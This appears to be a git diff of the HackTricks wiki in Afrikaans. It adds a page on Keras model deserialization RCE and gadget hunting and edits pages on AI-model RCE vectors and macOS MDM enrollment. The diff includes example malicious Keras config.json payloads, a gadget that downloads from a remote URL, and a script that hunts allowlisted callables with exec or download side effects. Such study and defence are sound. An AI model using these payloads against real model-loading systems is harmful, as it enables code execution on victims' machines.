diff --git a/src/AI/AI-Models-RCE.md b/src/AI/AI-Models-RCE.md index 93018e2b8..4addea659 100644 --- a/src/AI/AI-Models-RCE.md +++ b/src/AI/AI-Models-RCE.md @@ -11,17 +11,17 @@ Tydens die skryf hiervan is hier 'n paar voorbeelde van hierdie tipe kwesbaarhed | **Raamwerk / Gereedskap** | **Kwesbaarheid (CVE indien beskikbaar)** | **RCE Vektor** | **Verwysings** | |-----------------------------|------------------------------------------------------------------------------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------|----------------------------------------------| | **PyTorch** (Python) | *Onveilige deserialisering in* `torch.load` **(CVE-2025-32434)** | Kwaadwillige pickle in model kontrolepunt lei tot kode-uitvoering (om `weights_only` beskerming te omseil) | | -| PyTorch **TorchServe** | *ShellTorch* – **CVE-2023-43654**, **CVE-2022-1471** | SSRF + kwaadwillige model aflaai veroorsaak kode-uitvoering; Java deserialisering RCE in bestuur API | | +| PyTorch **TorchServe** | *ShellTorch* – **CVE-2023-43654**, **CVE-2022-1471** | SSRF + kwaadwillige model aflaai veroorsaak kode-uitvoering; Java deserialisering RCE in bestuurs-API | | | **TensorFlow/Keras** | **CVE-2021-37678** (onveilige YAML)
**CVE-2024-3660** (Keras Lambda) | Laai model vanaf YAML gebruik `yaml.unsafe_load` (kode exec)
Laai model met **Lambda** laag voer arbitrêre Python kode uit | | | TensorFlow (TFLite) | **CVE-2022-23559** (TFLite parsing) | Gemaakte `.tflite` model veroorsaak heelgetal oorgang → heap korrupsie (potensiële RCE) | | -| **Scikit-learn** (Python) | **CVE-2020-13092** (joblib/pickle) | Laai 'n model via `joblib.load` voer pickle met aanvaller se `__reduce__` payload uit | | -| **NumPy** (Python) | **CVE-2019-6446** (onveilige `np.load`) *betwis* | `numpy.load` standaard het toegelaat dat gepekelde objekreeks – kwaadwillige `.npy/.npz` veroorsaak kode exec | | -| **ONNX / ONNX Runtime** | **CVE-2022-25882** (dir traversaal)
**CVE-2024-5187** (tar traversaal) | ONNX model se eksterne gewigte pad kan die gids ontsnap (lees arbitrêre lêers)
Kwaadwillige ONNX model tar kan arbitrêre lêers oorskryf (wat lei tot RCE) | | -| ONNX Runtime (ontwerp risiko) | *(Geen CVE)* ONNX pasgemaakte ops / kontrole vloei | Model met pasgemaakte operator vereis laai van aanvaller se inheemse kode; komplekse model grafieke misbruik logika om onbedoelde berekeninge uit te voer | | -| **NVIDIA Triton Server** | **CVE-2023-31036** (pad traversaal) | Gebruik model-laai API met `--model-control` geaktiveer laat relatiewe pad traversaal toe om lêers te skryf (bv., oorskryf `.bashrc` vir RCE) | | -| **GGML (GGUF formaat)** | **CVE-2024-25664 … 25668** (meervoudige heap oorgange) | Gemaakte GGUF model lêer veroorsaak heap buffer oorgange in parser, wat arbitrêre kode-uitvoering op die slagoffer stelsel moontlik maak | | +| **Scikit-learn** (Python) | **CVE-2020-13092** (joblib/pickle) | Laai 'n model via `joblib.load` voer pickle met aanvaller se `__reduce__` payload uit | | +| **NumPy** (Python) | **CVE-2019-6446** (onveilige `np.load`) *betwis* | `numpy.load` standaard het toegelaat dat gepekelde objekreeks – kwaadwillige `.npy/.npz` veroorsaak kode exec | | +| **ONNX / ONNX Runtime** | **CVE-2022-25882** (dir traversie)
**CVE-2024-5187** (tar traversie) | ONNX model se eksterne gewigte pad kan die gids ontsnap (lees arbitrêre lêers)
Kwaadwillige ONNX model tar kan arbitrêre lêers oorskryf (lei tot RCE) | | +| ONNX Runtime (ontwerp risiko) | *(Geen CVE)* ONNX pasgemaakte ops / kontrole vloei | Model met pasgemaakte operateur vereis laai van aanvaller se inheemse kode; komplekse model grafieke misbruik logika om onbedoelde berekeninge uit te voer | | +| **NVIDIA Triton Server** | **CVE-2023-31036** (pad traversie) | Gebruik model-laai API met `--model-control` geaktiveer laat relatiewe pad traversie toe om lêers te skryf (bv. oorskryf `.bashrc` vir RCE) | | +| **GGML (GGUF formaat)** | **CVE-2024-25664 … 25668** (meervoudige heap oorgange) | Misvormde GGUF model lêer veroorsaak heap buffer oorgange in parser, wat arbitrêre kode-uitvoering op die slagoffer stelsel moontlik maak | | | **Keras (ou formate)** | *(Geen nuwe CVE)* Erflike Keras H5 model | Kwaadwillige HDF5 (`.h5`) model met Lambda laag kode voer steeds uit op laai (Keras safe_mode dek nie ou formaat nie – “downgrade aanval”) | | -| **Ander** (generies) | *Ontwerp fout* – Pickle serialisering | Baie ML gereedskap (bv., pickle-gebaseerde model formate, Python `pickle.load`) sal arbitrêre kode wat in model lêers ingebed is uitvoer tensy dit gemitigeer word | | +| **Ander** (generies) | *Ontwerp fout* – Pickle serialisering | Baie ML gereedskap (bv. pickle-gebaseerde model formate, Python `pickle.load`) sal arbitrêre kode wat in model lêers ingebed is uitvoer tensy dit gemitigeer word | | Boonop is daar 'n paar python pickle-gebaseerde modelle soos die wat deur [PyTorch](https://github.com/pytorch/pytorch/security) gebruik word wat gebruik kan word om arbitrêre kode op die stelsel uit te voer as hulle nie met `weights_only=True` gelaai word nie. So, enige pickle-gebaseerde model kan spesiaal kwesbaar wees vir hierdie tipe aanvalle, selfs al is hulle nie in die tabel hierbo gelys nie. @@ -75,13 +75,13 @@ Klaar-gemaakte uitbuiting: **Metasploit** module `exploit/linux/http/invokeai_rc • InvokeAI 5.3.1-5.4.2 (skandeervlag standaard **vals**) • `/api/v2/models/install` bereikbaar deur die aanvaller -• Proses het toestemming om skulpopdragte uit te voer +• Proses het regte om skaalopdragte uit te voer #### Versagtings * Opgradeer na **InvokeAI ≥ 5.4.3** – die patch stel `scan=True` standaard en voer malware-skandering uit voor deserialisering. * Wanneer jy kontrolepunte programmaties laai, gebruik `torch.load(file, weights_only=True)` of die nuwe [`torch.load_safe`](https://pytorch.org/docs/stable/serialization.html#security) helper. -* Handhaaf toelaat-lists / handtekeninge vir modelbronne en voer die diens met die minste voorregte uit. +* Handhaaf toelaat-lists / handtekeninge vir modelbronne en voer die diens uit met die minste voorregte. > ⚠️ Onthou dat **enige** Python pickle-gebaseerde formaat (insluitend baie `.pt`, `.pkl`, `.ckpt`, `.pth` lêers) inherent onveilig is om te deserialiseer vanaf onbetroubare bronne. @@ -133,7 +133,7 @@ model.load_state_dict(torch.load("malicious_state.pth", weights_only=False)) ``` ## Modelle na Pad Traversal -Soos kommentaar in [**hierdie blogpos**](https://blog.huntr.com/pivoting-archive-slip-bugs-into-high-value-ai/ml-bounties), is die meeste modelle formate wat deur verskillende AI-raamwerke gebruik word, gebaseer op argiewe, gewoonlik `.zip`. Daarom kan dit moontlik wees om hierdie formate te misbruik om pad traversaal aanvalle uit te voer, wat dit moontlik maak om arbitrêre lêers van die stelsel waar die model gelaai word, te lees. +Soos kommentaar in [**hierdie blogpos**](https://blog.huntr.com/pivoting-archive-slip-bugs-into-high-value-ai/ml-bounties), is die meeste modelle formate wat deur verskillende AI-raamwerke gebruik word, gebaseer op argiewe, gewoonlik `.zip`. Daarom mag dit moontlik wees om hierdie formate te misbruik om pad traversaal aanvalle uit te voer, wat dit moontlik maak om arbitrêre lêers van die stelsel waar die model gelaai word, te lees. Byvoorbeeld, met die volgende kode kan jy 'n model skep wat 'n lêer in die `/tmp` gids sal skep wanneer dit gelaai word: ```python @@ -161,6 +161,15 @@ with tarfile.open("symlink_demo.model", "w:gz") as tf: tf.add(pathlib.Path(PAYLOAD).parent, filter=link_it) tf.add(PAYLOAD) # rides the symlink ``` +### Deep-dive: Keras .keras deserialisering en gadget jag + +Vir 'n gefokusde gids oor .keras interne, Lambda-laag RCE, die arbitrêre invoer probleem in ≤ 3.8, en post-fix gadget ontdekking binne die toelaatlys, sien: + + +{{#ref}} +../generic-methodologies-and-resources/python/keras-model-deserialization-rce-and-gadget-hunting.md +{{#endref}} + ## Verwysings - [OffSec blog – "CVE-2024-12029 – InvokeAI Deserialisering van Onbetroubare Data"](https://www.offsec.com/blog/cve-2024-12029/) diff --git a/src/SUMMARY.md b/src/SUMMARY.md index e7e49e187..781ca1ac5 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -69,6 +69,7 @@ - [Bypass Python sandboxes](generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md) - [LOAD_NAME / LOAD_CONST opcode OOB Read](generic-methodologies-and-resources/python/bypass-python-sandboxes/load_name-load_const-opcode-oob-read.md) - [Class Pollution (Python's Prototype Pollution)](generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md) + - [Keras Model Deserialization Rce And Gadget Hunting](generic-methodologies-and-resources/python/keras-model-deserialization-rce-and-gadget-hunting.md) - [Python Internal Read Gadgets](generic-methodologies-and-resources/python/python-internal-read-gadgets.md) - [Pyscript](generic-methodologies-and-resources/python/pyscript.md) - [venv](generic-methodologies-and-resources/python/venv.md) diff --git a/src/generic-methodologies-and-resources/python/README.md b/src/generic-methodologies-and-resources/python/README.md index 073d9bc17..970580493 100644 --- a/src/generic-methodologies-and-resources/python/README.md +++ b/src/generic-methodologies-and-resources/python/README.md @@ -2,10 +2,11 @@ {{#include ../../banners/hacktricks-training.md}} -**Interessante bladsye om na te kyk:** +**Interessante bladsye om te kyk:** - [**Pyscript hacking truuks**](pyscript.md) - [**Python deserialisasies**](../../pentesting-web/deserialization/README.md) +- [**Keras model deserialisasie RCE en gadget jag**](keras-model-deserialization-rce-and-gadget-hunting.md) - [**Truuks om python sandboxes te omseil**](bypass-python-sandboxes/README.md) - [**Basiese python web versoeke sintaksis**](web-requests.md) - [**Basiese python sintaksis en biblioteke**](basic-python.md) diff --git a/src/generic-methodologies-and-resources/python/keras-model-deserialization-rce-and-gadget-hunting.md b/src/generic-methodologies-and-resources/python/keras-model-deserialization-rce-and-gadget-hunting.md new file mode 100644 index 000000000..d2751512f --- /dev/null +++ b/src/generic-methodologies-and-resources/python/keras-model-deserialization-rce-and-gadget-hunting.md @@ -0,0 +1,207 @@ +# Keras Model Deserialization RCE en Gadget Jag + +{{#include ../../banners/hacktricks-training.md}} + +Hierdie bladsy somariseer praktiese eksploitasiemetodes teen die Keras model deserialisering pyplyn, verduidelik die inwendige werking van die .keras formaat en aanvaloppervlak, en bied 'n navorsersgereedskapstel vir die vind van Model File Vulnerabilities (MFVs) en post-fix gadgets. + +## .keras model formaat inwendige werking + +'n .keras lêer is 'n ZIP-argief wat ten minste bevat: +- metadata.json – generiese inligting (bv. Keras weergawe) +- config.json – model argitektuur (primêre aanvaloppervlak) +- model.weights.h5 – gewigte in HDF5 + +Die config.json dryf rekursiewe deserialisering: Keras importeer modules, los klasse/funksies op en herbou lae/objekte uit aanvaller-beheerde woordeboeke. + +Voorbeeld snit vir 'n Dense lae objek: +```json +{ +"module": "keras.layers", +"class_name": "Dense", +"config": { +"units": 64, +"activation": { +"module": "keras.activations", +"class_name": "relu" +}, +"kernel_initializer": { +"module": "keras.initializers", +"class_name": "GlorotUniform" +} +} +} +``` +Deserialisering voer uit: +- Modulêre invoer en simboolresolusie vanaf module/class_name sleutels +- from_config(...) of konstruktorkalling met aanvaller-beheerde kwargs +- Rekursie in geneste objekte (aktiverings, inisialisators, beperkings, ens.) + +Histories het dit drie primitiewe aan 'n aanvaller blootgestel wat config.json saamstel: +- Beheer oor watter modules ingevoer word +- Beheer oor watter klasse/funksies opgelos word +- Beheer oor kwargs wat in konstruktors/from_config oorgedra word + +## CVE-2024-3660 – Lambda-laag bytecode RCE + +Wortel oorsaak: +- Lambda.from_config() het python_utils.func_load(...) gebruik wat base64-decode en marshal.loads() op aanvaller bytes aanroep; Python unmarshalling kan kode uitvoer. + +Eksploitasie idee (vereenvoudigde payload in config.json): +```json +{ +"module": "keras.layers", +"class_name": "Lambda", +"config": { +"name": "exploit_lambda", +"function": { +"function_type": "lambda", +"bytecode_b64": "" +} +} +} +``` +Mitigering: +- Keras afdwing safe_mode=True standaard. Gekodeerde Python funksies in Lambda word geblokkeer tensy 'n gebruiker eksplisiet opt-out met safe_mode=False. + +Notas: +- Erflike formate (ou HDF5 stoor) of ou kodebasisse mag nie moderne kontroles afdwing nie, so “downgrade” styl aanvalle kan steeds van toepassing wees wanneer slagoffers ou laders gebruik. + +## CVE-2025-1550 – Arbitraire module invoer in Keras ≤ 3.8 + +Oorsaak: +- _retrieve_class_or_fn het onbeperkte importlib.import_module() gebruik met aanvaller-beheerde module stringe van config.json. +- Impak: Arbitraire invoer van enige geïnstalleerde module (of aanvaller-geplante module op sys.path). Invoer-tyd kode loop, dan vind objekkonstruksie plaas met aanvaller kwargs. + +Eksploit idee: +```json +{ +"module": "maliciouspkg", +"class_name": "Danger", +"config": {"arg": "val"} +} +``` +Security improvements (Keras ≥ 3.9): +- Module allowlist: imports beperk tot amptelike ekosisteem modules: keras, keras_hub, keras_cv, keras_nlp +- Safe mode default: safe_mode=True blokkeer onveilige Lambda geserialiseerde-funksie laai +- Basic type checking: gedeserialiseerde objekte moet ooreenstem met verwagte tipes + +## Post-fix gadget oppervlak binne allowlist + +Selfs met allowlisting en safe mode, bly 'n breë oppervlak oor onder toegelate Keras aanroepbare. Byvoorbeeld, keras.utils.get_file kan arbitrêre URL's na gebruiker-keur plekke aflaai. + +Gadget via Lambda wat 'n toegelate funksie verwys (nie geserialiseerde Python bytecode): +```json +{ +"module": "keras.layers", +"class_name": "Lambda", +"config": { +"name": "dl", +"function": {"module": "keras.utils", "class_name": "get_file"}, +"arguments": { +"fname": "artifact.bin", +"origin": "https://example.com/artifact.bin", +"cache_dir": "/tmp/keras-cache" +} +} +} +``` +Belangrike beperking: +- Lambda.call() voeg die invoertensor as die eerste posisionele argument by wanneer die teiken aanroepbare aangeroep word. Gekoze gadgets moet 'n ekstra posisionele arg (of *args/**kwargs) kan hanteer. Dit beperk watter funksies lewensvatbaar is. + +Potensiële impakte van toegelate gadgets: +- Arbitraire aflaai/skryf (padplanting, konfigurasie vergiftiging) +- Netwerk terugroepe/SSRF-agtige effekte afhangende van die omgewing +- Ketting na kode-uitvoering as geskryfde pades later ingevoer/uitgevoer word of by PYTHONPATH gevoeg word, of as 'n skryfbare uitvoering-op-skryf ligging bestaan + +## Navorsers gereedskap + +1) Sistematiese gadget ontdekking in toegelate modules + +Tel kandidaat aanroepbares op oor keras, keras_nlp, keras_cv, keras_hub en prioritiseer dié met lêer/netwerk/proses/omgewing newe-effekte. +```python +import importlib, inspect, pkgutil + +ALLOWLIST = ["keras", "keras_nlp", "keras_cv", "keras_hub"] + +seen = set() + +def iter_modules(mod): +if not hasattr(mod, "__path__"): +return +for m in pkgutil.walk_packages(mod.__path__, mod.__name__ + "."): +yield m.name + +candidates = [] +for root in ALLOWLIST: +try: +r = importlib.import_module(root) +except Exception: +continue +for name in iter_modules(r): +if name in seen: +continue +seen.add(name) +try: +m = importlib.import_module(name) +except Exception: +continue +for n, obj in inspect.getmembers(m): +if inspect.isfunction(obj) or inspect.isclass(obj): +sig = None +try: +sig = str(inspect.signature(obj)) +except Exception: +pass +doc = (inspect.getdoc(obj) or "").lower() +text = f"{name}.{n} {sig} :: {doc}" +# Heuristics: look for I/O or network-ish hints +if any(x in doc for x in ["download", "file", "path", "open", "url", "http", "socket", "env", "process", "spawn", "exec"]): +candidates.append(text) + +print("\n".join(sorted(candidates)[:200])) +``` +2) Direkte deserialiseringstoetsing (geen .keras-argief benodig nie) + +Voer vervaardigde dikte direk in Keras-deserialiseerders in om aanvaarbare parameters te leer en om effekte te observeer. +```python +from keras import layers + +cfg = { +"module": "keras.layers", +"class_name": "Lambda", +"config": { +"name": "probe", +"function": {"module": "keras.utils", "class_name": "get_file"}, +"arguments": {"fname": "x", "origin": "https://example.com/x"} +} +} + +layer = layers.deserialize(cfg, safe_mode=True) # Observe behavior +``` +3) Cross-version probing en formate + +Keras bestaan in verskeie kodebasisse/era met verskillende veiligheidsmaatreëls en formate: +- TensorFlow ingeboude Keras: tensorflow/python/keras (erfgoed, beplan vir verwydering) +- tf-keras: apart onderhou +- Multi-backend Keras 3 (amptelik): het inheemse .keras bekendgestel + +Herhaal toetse oor kodebasisse en formate (.keras vs erfgoed HDF5) om regressies of ontbrekende veiligheidsmaatreëls te ontdek. + +## Verdedigende aanbevelings + +- Behandel model lêers as onbetroubare invoer. Laai slegs modelle van betroubare bronne. +- Hou Keras op datum; gebruik Keras ≥ 3.9 om voordeel te trek uit toelaatlys en tipe kontroles. +- Moet nie safe_mode=False stel wanneer jy modelle laai nie, tensy jy die lêer ten volle vertrou. +- Oorweeg om deserialisering in 'n sandboxed, minste-bevoorregte omgewing sonder netwerkuitgang en met beperkte lêerstelsels toegang te laat plaasvind. +- Handhaaf toelaatlyste/handtekeninge vir modelbronne en integriteitskontrole waar moontlik. + +## Verwysings + +- [Hunting Vulnerabilities in Keras Model Deserialization (huntr blog)](https://blog.huntr.com/hunting-vulnerabilities-in-keras-model-deserialization) +- [Keras PR #20751 – Added checks to serialization](https://github.com/keras-team/keras/pull/20751) +- [CVE-2024-3660 – Keras Lambda deserialization RCE](https://nvd.nist.gov/vuln/detail/CVE-2024-3660) +- [CVE-2025-1550 – Keras arbitrary module import (≤ 3.8)](https://nvd.nist.gov/vuln/detail/CVE-2025-1550) +- [huntr report – arbitrary import #1](https://huntr.com/bounties/135d5dcd-f05f-439f-8d8f-b21fdf171f3e) +- [huntr report – arbitrary import #2](https://huntr.com/bounties/6fcca09c-8c98-4bc5-b32c-e883ab3e4ae3) + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-red-teaming/macos-mdm/README.md b/src/macos-hardening/macos-red-teaming/macos-mdm/README.md index c1650a8c3..00a775f94 100644 --- a/src/macos-hardening/macos-red-teaming/macos-mdm/README.md +++ b/src/macos-hardening/macos-red-teaming/macos-mdm/README.md @@ -19,9 +19,9 @@ ### **Basiese beginsels van DEP (Toestelregistrasieprogram)** -Die [Toestelregistrasieprogram](https://www.apple.com/business/site/docs/DEP_Guide.pdf) (DEP) wat deur Apple aangebied word, stroomlyn die integrasie van Mobiele Toestelbestuur (MDM) deur nul-aanraak konfigurasie vir iOS, macOS en tvOS toestelle te fasiliteer. DEP outomatiseer die registrasieproses, wat toestelle in staat stel om reg uit die boks te funksioneer, met minimale gebruikers- of administratiewe ingryping. Essensiële aspekte sluit in: +Die [Toestelregistrasieprogram](https://www.apple.com/business/site/docs/DEP_Guide.pdf) (DEP) wat deur Apple aangebied word, stroomlyn die integrasie van Mobiele Toestelbestuur (MDM) deur nul-aanraakintegrasie vir iOS, macOS en tvOS toestelle te fasiliteer. DEP outomatiseer die registrasieproses, wat toestelle in staat stel om reg uit die boks te funksioneer, met minimale gebruikers- of administratiewe ingryping. Essensiële aspekte sluit in: -- Stel toestelle in staat om outonoom met 'n vooraf gedefinieerde MDM-bediener te registreer by die eerste aktivering. +- Stel toestelle in staat om outonoom te registreer met 'n vooraf gedefinieerde MDM-bediener by die eerste aktivering. - Primêr voordelig vir splinternuwe toestelle, maar ook van toepassing op toestelle wat herkonfigureer word. - Fasiliteer 'n eenvoudige opstelling, wat toestelle vinnig gereed maak vir organisatoriese gebruik. @@ -84,7 +84,7 @@ macos-serial-number.md ## Stappe vir registrasie en bestuur 1. Toestelrekord skep (Herverkoper, Apple): Die rekord vir die nuwe toestel word geskep -2. Toestelrekord toewys (Kliënt): Die toestel word aan 'n MDM-bediener toegewy +2. Toestelrekord toewys (Kliënt): Die toestel word aan 'n MDM-bediener toegeken 3. Toestelrekord sinkroniseer (MDM-verkoper): MDM sinkroniseer die toestelrekords en druk die DEP-profiele na Apple 4. DEP inligting (Toestel): Toestel kry sy DEP-profiel 5. Profielherwinning (Toestel) @@ -107,7 +107,7 @@ of wanneer `sudo profiles show -type enrollment` uitgevoer word - Aktiveringsrekord is die interne naam vir **DEP “profiel”** - Begin sodra die toestel aan die internet gekoppel is - Gedryf deur **`CPFetchActivationRecord`** -- Geïmplementeer deur **`cloudconfigurationd`** via XPC. Die **"Setup Assistant"** (wanneer die toestel eerste keer opgestart word) of die **`profiles`** opdrag sal **hierdie daemon** kontak om die aktiveringsrekord te verkry. +- Geïmplementeer deur **`cloudconfigurationd`** via XPC. Die **"Setup Assistant"** (wanneer die toestel vir die eerste keer opgestart word) of die **`profiles`** opdrag sal **hierdie daemon** kontak om die aktiveringsrekord te verkry. - LaunchDaemon (loop altyd as root) Dit volg 'n paar stappe om die Aktiveringsrekord te verkry wat deur **`MCTeslaConfigurationFetcher`** uitgevoer word. Hierdie proses gebruik 'n enkripsie genaamd **Absinthe** @@ -115,7 +115,7 @@ Dit volg 'n paar stappe om die Aktiveringsrekord te verkry wat deur **`MCTeslaCo 1. Verkry **sertifikaat** 1. GET [https://iprofiles.apple.com/resource/certificate.cer](https://iprofiles.apple.com/resource/certificate.cer) 2. **Begin** toestand vanaf sertifikaat (**`NACInit`**) -1. Gebruik verskeie toestel-spesifieke data (d.w.s. **Serienommer via `IOKit`**) +1. Gebruik verskeie toestelspesifieke data (d.w.s. **Serienommer via `IOKit`**) 3. Verkry **sessiesleutel** 1. POST [https://iprofiles.apple.com/session](https://iprofiles.apple.com/session) 4. Vestig die sessie (**`NACKeyEstablishment`**) @@ -144,4 +144,60 @@ Die antwoord is 'n JSON-woordeboek met belangrike data soos: - Onderteken met die **toestelidentiteitssertifikaat (van APNS)** - **Sertifikaatchain** sluit vervalle **Apple iPhone Device CA** in -![](<../../../images/image (567) (1) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) 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gestoor** +- Hierdie stap begin outomaties (indien in **setup assistant**) +- Gedryf deur **`CPInstallActivationProfile`** +- Geïmplementeer deur mdmclient oor XPC +- LaunchDaemon (as root) of LaunchAgent (as gebruiker), afhangende van konteks +- Konfigurasieprofiele het verskeie payloads om te installeer +- Raamwerk het 'n plugin-gebaseerde argitektuur vir die installering van profiele +- Elke payload tipe is geassosieer met 'n plugin +- Kan XPC (in raamwerk) of klassieke Cocoa (in ManagedClient.app) wees +- Voorbeeld: +- Sertifikaatpayloads gebruik CertificateService.xpc + +Tipies, **aktiveringsprofiel** wat deur 'n MDM-verkoper verskaf word, sal **die volgende payloads insluit**: + +- `com.apple.mdm`: om die toestel in MDM te **registreer** +- `com.apple.security.scep`: om 'n **kliëntsertifikaat** veilig aan die toestel te verskaf. +- `com.apple.security.pem`: om **vertroude CA-sertifikate** aan die toestel se Stelselsleutelhouer te installeer. +- Die installering van die MDM-payload is gelyk aan **MDM inligting in die dokumentasie** +- Payload **bevat sleutel eienskappe**: +- - MDM Inligting URL (**`CheckInURL`**) +- MDM Opdrag Polling URL (**`ServerURL`**) + APNs onderwerp om dit te aktiveer +- Om MDM-payload te installeer, word 'n versoek na **`CheckInURL`** gestuur +- Geïmplementeer in **`mdmclient`** +- MDM-payload kan op ander payloads afhanklik wees +- Laat **versoeke toe om aan spesifieke sertifikate ge-pin te word**: +- Eienskap: **`CheckInURLPinningCertificateUUIDs`** +- Eienskap: **`ServerURLPinningCertificateUUIDs`** +- Gelewer via PEM payload +- Laat toestel toe om met 'n identiteitssertifikaat toegeskryf te word: +- Eienskap: IdentityCertificateUUID +- Gelewer via SCEP payload + +### **Stap 7: Luister vir MDM-opdragte** + +- Nadat MDM-inligting voltooi is, kan verkoper **stoot kennisgewings gebruik maak van APNs** +- By ontvangs, hanteer deur **`mdmclient`** +- Om vir MDM-opdragte te poll, word 'n versoek na ServerURL gestuur +- Maak gebruik van die voorheen geïnstalleerde MDM-payload: +- **`ServerURLPinningCertificateUUIDs`** vir pinning versoek +- **`IdentityCertificateUUID`** vir TLS kliëntsertifikaat + +## Aanvalle + +### Registrasie van Toestelle in Ander Organisasies + +Soos voorheen opgemerk, om 'n toestel in 'n organisasie te probeer registreer, **is slegs 'n Serienommer wat aan daardie Organisasie behoort, nodig**. Sodra die toestel geregistreer is, sal verskeie organisasies sensitiewe data op die nuwe toestel installeer: sertifikate, toepassings, WiFi-wagwoorde, VPN-konfigurasies [en so aan](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\ +Daarom kan dit 'n gevaarlike toegangspunt vir aanvallers wees as die registrasieproses nie korrek beskerm word nie: + +{{#ref}} +enrolling-devices-in-other-organisations.md +{{#endref}} + +{{#include ../../../banners/hacktricks-training.md}}